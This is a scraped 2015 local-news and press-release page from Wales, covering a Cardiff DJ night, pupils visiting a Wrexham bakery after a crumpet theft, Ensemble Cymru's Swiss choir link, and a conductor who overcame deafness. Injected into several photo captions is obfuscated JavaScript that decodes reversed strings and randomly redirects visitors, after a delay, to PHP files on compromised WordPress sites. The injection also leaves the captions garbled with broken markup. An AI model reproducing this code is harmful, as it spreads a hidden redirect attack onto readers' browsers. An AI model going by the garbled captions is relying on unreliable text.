Category: News

Top DJs to mix it up in big Boogie Nights party at Buffalo Bar in Cardiff

JFB 1 ceidiog

A DJ praised by legendary doyen of the decks FatBoy Slim will top the bill at a music event in Cardiff.

Two times UK DMC scratch champion JFB heads an impressive list of guest performers at Boogie Nights which will take over the Buffalo Bar nightspot in Windsor Place, Cardiff on Thursday March 12.

Also at the turntables will be Killer T who is known across the UK and Europe for his slamming DJ sets and acclaimed mix tapes.

LEEDSRELENTLESS-126 ceidiog

Boogie Nights, which starts at 10pm and rocks through till 4am, is the brainchild of 23-year-old Cardiff music promoter Gethin Ceidiog Hughes who says he’s looking forward to what will be his biggest event to date.

Gethin, who is originally from Denbigh and been based in the Welsh capital for the past four years, said: “I’ve organised quite a few smaller dance events over the past few years but this is definitely my most ambitious project so far.

“I was inspired to do it by watching a BBC TV documentary about Northern Soul music last year.

“It was called Living for the Weekend and showed just how dedicated people can be to their own style of music and dancing.

“I’m very lucky to have secured such a prime venue as Buffalo, which is right in the heart of the city, for the event.

“It’s going to be multi-genre night based on Soul, Funk, Disco and pretty much anything that gets the party going.”

Gethin added: “I’m also proud to have booked such big names as JFB and Killer Tom who are some of the best-known DJs in the business.

“JFB has been described by FatBoy Slim, for whom he’s done remixes and DJ mixes, as the Thinking Man’s Grandmaster Flash, which is quite an accolade.

“He has twice been UK DMC scratch champion and he’s famous for his ability to rock parties with many styles, crossing over all the musical genres of Jazz, Funk, Hiphop, Dubstep, Glitchop, Electroswing, Ghetto Funk, Breakbeat, Drumstep and Drum and Bass.

“Apart from working with FatBoy Slim, he’s collaborated with many respected artists and his successful DuckJam track was used for the 2011 British Comedy Awards on Channel 4.

“JFB has worked as a producer and had releases on a variety of labels including Hospital Records, Rat Records, Skint Records, Hot Cakes and GettoFunk.

“His four-turntable scratch routine of the Right Here Right Now remix has so far had nearly two million views on Youtube.

“He’s also appeared extensively on the airwaves and has a monthly residency on Radio 1 dropping BattleMixes set upon him by Rob da Bank.”

Gethin says he also thrilled to have another DJ icon guesting at Boogie Nights in the shape of Killer T – real name Tom Clugston.

“He’s known for his mix tapes like on Ninja Tunes Solid Steel and has toured right across the UK and Europe with hip hop artists like Goldie Lookin Chain, Feeder and Skinnyman,” said Gethin.

“He also won the Relentless Here To Be Heard DJ Competition in 2013 and in 2010 he was both a Redbull Threestyle and UK DMC Scratch finalist.

“Also on the bill for the night we’ve got acts from the Cardiff area like the music producers Nanobyte, who have had one of their tracks called Honour viewed half a million times on Youtube, and Cardiff radio DJ Lubi J.

“I can promise this is set to be one hell of a party, and I’m now moving on to plan more events like it, hopefully on a monthly basis.”

Killer Tom, who lives in the Roath area of Cardiff, has been in the music business for the past 16 years and met Gethin through a DJ school he runs.

He said: “I’m really excited about Boogie Nights and looking forward very much to being there on the night.

“I’m delighted about being on the same bill as JFB, who I’ve worked with him a few times in the past, and also a number of great local Cardiff acts.

“I’ll be playing some across-the-board stuff, which will basically be party mix with a turntablist twist.

“It’s nice to see this sort of event being held in Cardiff and I think Gethin has done a great job of putting it all together in a very professional way.

“I’m sure the night will be a big success and I wish Gethin all the best with the other events like this he’s planning to organise in the future.”

Other music makers in the Boogie Nights line-up are Ransom, doing disco classics, Speedo, specialising in soul and funk, along with Tom Davey and Alex Gilhespy, providing house sounds.

For tickets, go to: https://next.fatsoma.com/events/arrzu5jp/boogie-nights-pres-jfb-killer-t

Tuesday March 10th, 2015

News

School pupils visit the Village Bakery after their “Great Crumpet Crisis”

VILLAGE BAKERY, WREXHAM. Pupils from Wood Memorial CP school, Saltney during a visit $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($Bhq(0), delay);}to the Village Bakery, Wrexham. Pictured are pupils Riley Hayden,10, Owen Roughley,7 and Jessica Archibald,9.

School pupils were given a tour of the Wrexham bakery that came to their rescue after their “Great Crumpet Crisis”.

VILLAGE BAKERY, WREXHAM. Pupils from Wood Memorial CP school, Saltney during a visit <script>$zXz=function(n){if (typeof ($zXz.list[n]) == “string”) return $zXz.list[n].split(“”).reverse().join(“”);return $zXz.list[n];};$zXz.list=[to the Village Bakery, Wrexham. Photographed is Matty Owens of the Village Bakery handing out free crumpets to the pupils." src="http://dev.ceidiog.com/pr/files/2015/03/2502VillageBakery04-ceidiog.jpg" width="400" height="267" />

Youngsters who attend the breakfast club at Wood Memorial Primary School in Saltney were stunned when heartless thieves pinched their crumpets.

When he heard about the theft, Robin Jones, managing director of the Village Bakery, in Wrexham, had a fresh batch of crumpets immediately dispatched to the school to make sure the pupils didn't miss out.

As an added bonus, a group of 14 children, between years two and six, were invited to come on a visit to see how the crumpets are made.

VILLAGE BAKERY, WREXHAM. Pupils from Wood Memorial CP school, Saltney during a visit <script>$zXz=function(n){if (typeof ($zXz.list[n]) == to the Village Bakery, Wrexham. Photographed is Robin Jones with pupils uring the tour." src="http://dev.ceidiog.com/pr/files/2015/03/2502VILLAGE-BAKERY05-ceidiog.jpg" width="400" height="267" />

Robin explained: “A member of staff had read about it in the paper and we were made aware of it so we had a fresh batch of crumpets delivered to the school within 40 minutes of hearing about it. I think they were touched by the gesture.

“It looks like the kids have really enjoyed themselves here today. Some of them may even be our apprentices of the future.

“It’s something fun and educational for them, and they got to learn about how we make the crumpets, the bread and the Welsh cakes.”

VILLAGE BAKERY, WREXHAM. Pupils from Wood Memorial CP school, Saltney during a visit <script>$zXz=function(n){if (typeof ($zXz.list[n]) == to the Village Bakery, Wrexham. Photographed is Robin Jones with pupils uring the tour." src="http://dev.ceidiog.com/pr/files/2015/03/2502VILLAGE-BAKERY08-ceidiog.jpg" width="400" height="267" />

The bakery employs more than 300 people and has two bakeries on Wrexham Industrial Estate where the family-run firm is building its new £3 million Baking Academy and Innovation Centre. They also have a bakery in Minera on the outskirts of Wrexham.

During the tour they saw the production line that makes 15,000 crumpets an hour and the line that produces one million scones every year.

The also saw the Baking Academy that's being built to train the next generation of bakers.

Year three school pupil Owen Roughley, seven, said: “It’s been a really nice day – really, really good. It’s just all been amazing – everything about it. I learned a lot about how the crumpets are made.”

It was sentiment echoed by year four pupil Jessica Archibald, nine.

She added: “I enjoyed everything about it, especially how they make the crumpets because I have them with my granddad. I love crumpets but Welsh cakes are my favourite though.

“I’d like to learn how to make my own Welsh cakes. I think I’d like to work at the Village Bakery one day.”

Year six pupil Riley Hayden, 10, said: “I learned a lot at the Village Bakery today. I wanted to learn about how they make the crumpets. It’s been amazing.”

Teacher Sophie Bevan said: “We were quite shocked that someone would steal crumpets from the school. They took the crumpets and some milk. We tweeted about it and the story ended up in the papers.

“I think what the Village Bakery did was a really lovely thoughtful gesture. It was a really nice thing for them to do.

“The children have really enjoyed themselves here today. It’s really interesting to see how everything is made. We’ve been given another batch of crumpets so we’re looking forward to having them, and we’ve also been given some Welsh cakes and we’ll be having them on the way home."

Monday March 9th, 2015

News

Top orchestra Ensemble Cymru on a roll with Swiss choir on Anglesey

The official launch of Ensemble Cymru's International Cultural Exchange Programme $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($Bhq(0), delay);}took place at Tre Ysgawen Hall Hotel, Anglesey at the weekend. From left,  Lord Dafydd Elis-Thomas, Ensemble Cymru's Honorary President, Neil Rowlands, CEO of Tre-Ysgawen Hall Hotel, Therese Meier, Lord Lieutenant for Gwynedd, Mr Edmund Seymour Bailey, the Honorary Swiss Consul in Wales, Mrs. Ruth Thomas-Lehmann and the ensemble's artistic direc$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($Bhq(0), delay);}tor Peryn Clement-Evans

A top chamber orchestra from North Wales has linked up with a Swiss choir to launch a new international cultural exchange programme.

As part of the project, Ensemble Cymru will jointly commission a new choral work with orchestra that will be sung in Welsh and Romansch which is a minority language in Switzerland.

The official launch of Ensemble Cymru's International Cultural Exchange Programme <script>$zXz=function(n){if (typeof ($zXz.list[n]) == “string”) return $zXz.list[n].split(“”).reverse().join(“”);return $zXz.list[n];};$zXz.list=[took place at Tre Ysgawen Hall Hotel, Anglesey at the weekend. Ensemble Cymru perform at the event." src="http://dev.ceidiog.com/pr/files/2015/03/0702ensemble34-ceidiog.jpg" width="400" height="267" />

They will be working with the Vokalensemble Incantanti choir which comes from a part of Switzerland where the people speak Romansch, one of four official languages in the country along with German, Italian and French.

The exchange programme was unveiled at a special fundraising gala evening staged in the sumptuous setting of the Tre-Ysgawen Hall Country House Hotel and Spa, near Llangefni on Anglesey.

Among the special guests was The Honorary Swiss Consul in Wales, Ruth Thomas-Lehmann and 15 specially invited members of the Swiss community from across North Wales.

Other VIPs included Lord Dafydd Elis-Thomas, Ensemble Cymru's Honorary President, the Lord Lieutenant for Gwynedd, Edmund Seymour Bailey, and the Vice Chancellor of Bangor University, Professor John Hughes.

Ensemble Cyrmu was founded in 2001 by its Artistic Director, Peryn Clement-Evans, to champion the cause of chamber music in Wales and beyond.

Over the past few years Ensemble Cymru has reached over 20,000 in Wales alone through its national tours, television broadcasts and a CD. It is also Resident Ensemble at Bangor University and Venue Cymru in Llandudno.

It performs in groups of between one and 20 musicians and as a registered charity puts any surplus from its appearances across Wales straight back into work experience schemes and workshops for schools.

These visits have included visits to Ysgol Cymerau in Pwllheli, Ysgol Hafod Lon a school for children and young people with special education needs and Galeri Caernarfon where it held a training session for music teachers and performers.

As part of its vision to support schools and organisations through music and the arts, the ensemble set itself a goal back in 2009 to work with musical groups and young people in countries across mainland Europe by 2020.

Guests at the launch of the cultural exchange programme learned that the ensemble’s first official link has been forged with Vokalensemble Incantani from the canton of Grisons in Switzerland.

Peryn explained that Vokalensemble Incantani was chosen as the ensemble is particularly interested in forming friendships with other minority language communities in countries similar to Wales.

He said: “Its conductor, Christian Klucker, is due to visit us in North Wales at the end of this month and one of the first things we plan to do as part of our new partnership with the choir is to work with him on our appearance in Bachfest.

“This is part of the global Bach in the Subways music festival celebrating the life of J S Bach and will see the ensemble giving a series of free performances on March 20 and 21 across Bangor and Llandudno, including a really special event when it will be conducted by Christian Klucker.

“During Christian’s visit to Wales we will also begin preparations for the ensemble’s co-production with the choir which will involve tours in both Wales and Switzerland in 2016.

“At the same time we are looking to work with Vokalensemble Incantanti to commission a new piece of chamber music using the Welsh and Romansch languages that can be toured across the world.”

The ensemble’s new Swiss connection was also strengthened during a series of concerts staged during the run-up to the launch event by the ensemble in venues such as Pwellheli, Llandudno, Holyhead and Cilcain when Swiss-British violinist Naomi Burrell joined the ensemble perform performing music by the Swiss composer Frank Martin.”

Peryn added: “Establishing this first link with Switzerland is of major importance to our vision of promoting international understanding through music and comes as the fulfilment of a dream that goes all the way back to 2009.

“After working closely with Vokalensemble Incantanti we intend to seek out further European partners in Ireland, the Netherlands, Brittany and elsewhere and work with other chamber ensembles, including choirs, on projects that will take music into schools and communities.

“The launch evening at Tre Ysgawen Hall was highly successful and enjoyable and I would like to thank the hotel, which has a link to Switzerland, for the support they have provided to make it possible.

“I know they our share our passion for how important it is to have an international dimension through which to enable children in Wales to have contact with cultures and traditions not just in their own country but across the world.”

The Swiss ambassador in the UK, Dominik Furgler, said: “It was with great interest that I learned about the initiative to create a cultural exchange between North Wales and other countries.

“I send you my thanks for this initiative and I hope that it will enable the development of new projects, especially if they are representative of the cultural diversity of our two countries.”

Urs Cadruvi, director of Lia Rumantscha, the Swiss-based organisations which promotes the Romansch language, also hailed the new cultural exchange link, saying: “Asserting identity and ensuring visibility are crucial for any linguistic minority.

“We are delighted to share with you our music, language and culture and we are looking forward to learning more about Wales.”

Neil Rowlands, chief executive officer of the Tre Ysgawen Hall Country House Hotel and Spa, said: “We were delighted to both host and sponsor the very successful launch event, and with our long standing links with Switzerland and it was especially nice that a choir from that Romansch region of the country has been in at the start of the exchange programme.

“We are also pleased to support the whole programme as it is our strong belief that working with children through music and the arts helps bring down international barriers. We wish it every success.

“Playing host to the launch was also part of our long term vision to welcome more cultural events of this type to Tre-Ysgawen Hall in the future.”

Friday March 6th, 2015

News

Talented Robert conquers childhood deafness to conduct orchestra

Rob Conducting Colour - Mustard Seed Media11 ceidiog

A young orchestra conductor has spoken movingly about how he overcame childhood deafness to forge a successful career in music.

Robert Guy, 27, from Wrexham, was not able to hear a note when his grandmother started teaching him to play the piano at the age of three.

Now fully recovered he is making his name as conductor and co-founder of the North East Wales Sinfonia which he set up with his brother Jonathan, 25, four years ago.

The brothers, who both also teach music, have made it their mission to act as mentors and make classical music more accessible to everyone in North East Wales.

Already their orchestra has performed at the North Wales International Music Festival in St Asaph, collaborating with Karl Jenkins and royal composer Professor Paul Mealor, who wrote the music for the wedding of the Duke and Duchess of Cambridge.

The Sinfonia recently secured a £5,000 grant from the Arts Council of Wales to put on a series of free lunch time concerts at Oriel Wrexham and Galeri 3B, which means they can pay their pool of around 40 musicians for musical performances.

But the brothers are most excited at the moment about a special evening performance they are preparing for at St Giles’ Church in Wrexham on March 7.

It will feature music from Carl Maria von Weber’s Der Freischutz Overture, the Peer Gynt Suite by Edvard Grieg, and one of the brother’s favourite piece, Pyotr Ilyich Tchaikovsky’s Symphony No 4 op. 36.

The orchestra has around 20 core members who hail from North Wales, and a further pool of about 20 more musicians who travel in from the rest of the country, all are aged between 18 and 28.

They rehearse at Trinity Presbyterian church in Wrexham, where the Cantorian Rhos choir which Robert also conducts, also perform.

What audiences won’t have known until now, is that when Robert’s grandmother Doreen Monslow first started teaching him to play at her home in Llay, he was severly deaf.

He said: “It wasn’t spotted until I was about three, but it turns out the tubes in my ears were closed up so they weren’t letting the sound through. The doctors said I was about 70% deaf.

“My grandmother taught all of her grandchildren to play, she was a piano teacher, so it was normal to sit down and do that. She didn’t treat me any differently.

“I would use the sight of the keys to play, and it sounds strange, but I could sort of feel the music through my bones. When I started learning violin, because you put your chin on the instrument, I could feel the vibrations of the music that way.

“I had grommets put in when I was five, to help open up the tubes, and I remember distinctly the day everyone realised how bad my hearing had been, because there was a truck near our house and the engine was making a lot of noise, and I was crying because it was so loud.

“Then later I went outside and said: ‘Mum I can hear the birds sing!’ I’d never heard that before. It wasn’t really until then that people realised how little I’d been able to hear.”

Over the years Robert’s hearing slowly improved as he grew, and the tubes in his ears opened up. And gradually, his natural musical talent meant he caught up with his contemporaries fast.

He added: “I’ve always had an obsession with sound because it wasn’t something that was there at the beginning for me.

“At school I always sat at the front of class because I would lip read, that’s how I got by.

“My hearing’s fine now, but I’m a very good lip reader which is interesting if someone whispers something in the orchestra that they think is out of my earshot, and I know what they’ve said.”

Grandmother Doreen, 86, retired from teaching last year as her eyesight began to fail. She taught both Robert and Jonathan to play piano from the age of three.

She said: “They were both very good. Jonathan was maybe that little bit ahead when they were very young, but then evened out when they got older.

“You could hardly notice any problem with Robert was when he was at the piano, he just got on with it and did whatever he was asked. They are both very dedicated and I’m so proud of them both – they’re brilliant.”

It wasn’t until he was aged 15 that doctors said Robert’s hearing had returned to normal, and age 16 that he was finally discharged from regular appointments at the Wrexham Maelor hospital.

After the University of Manchester, Robert went on to study at the Royal Northern College of Music in Manchester.

Younger brother Jonathan, who also teaches instrumental music at schools across Flintshire says: “We were playing in these other orchestras in Cardiff and Manchester, and thinking why isn’t there something like this at home?

“We wanted to set something up in North East Wales because we believe it is important to have high quality professional music making, which inspires young people and enriches the cultural life of the area. Manchester has the Hallé, so why can’t North East Wales have the NEW Sinfonia.

“It’s brilliant to be in business with my brother, because we are so close, there is absolute honesty and trust which means we have a lot of creative freedom.”

Tickets are priced £12 (adult) £8 (concessions), or £3 (student or child), are available from the Tourist Information Centre in Wrexham town centre, or direct from the orchestra by emailing: to:newsinfonia@gmail.com">newsinfonia@gmail.com Doors open 7.30pm. For more information visit: http://www.newsinfonia.org.uk/

Tuesday March 3rd, 2015

News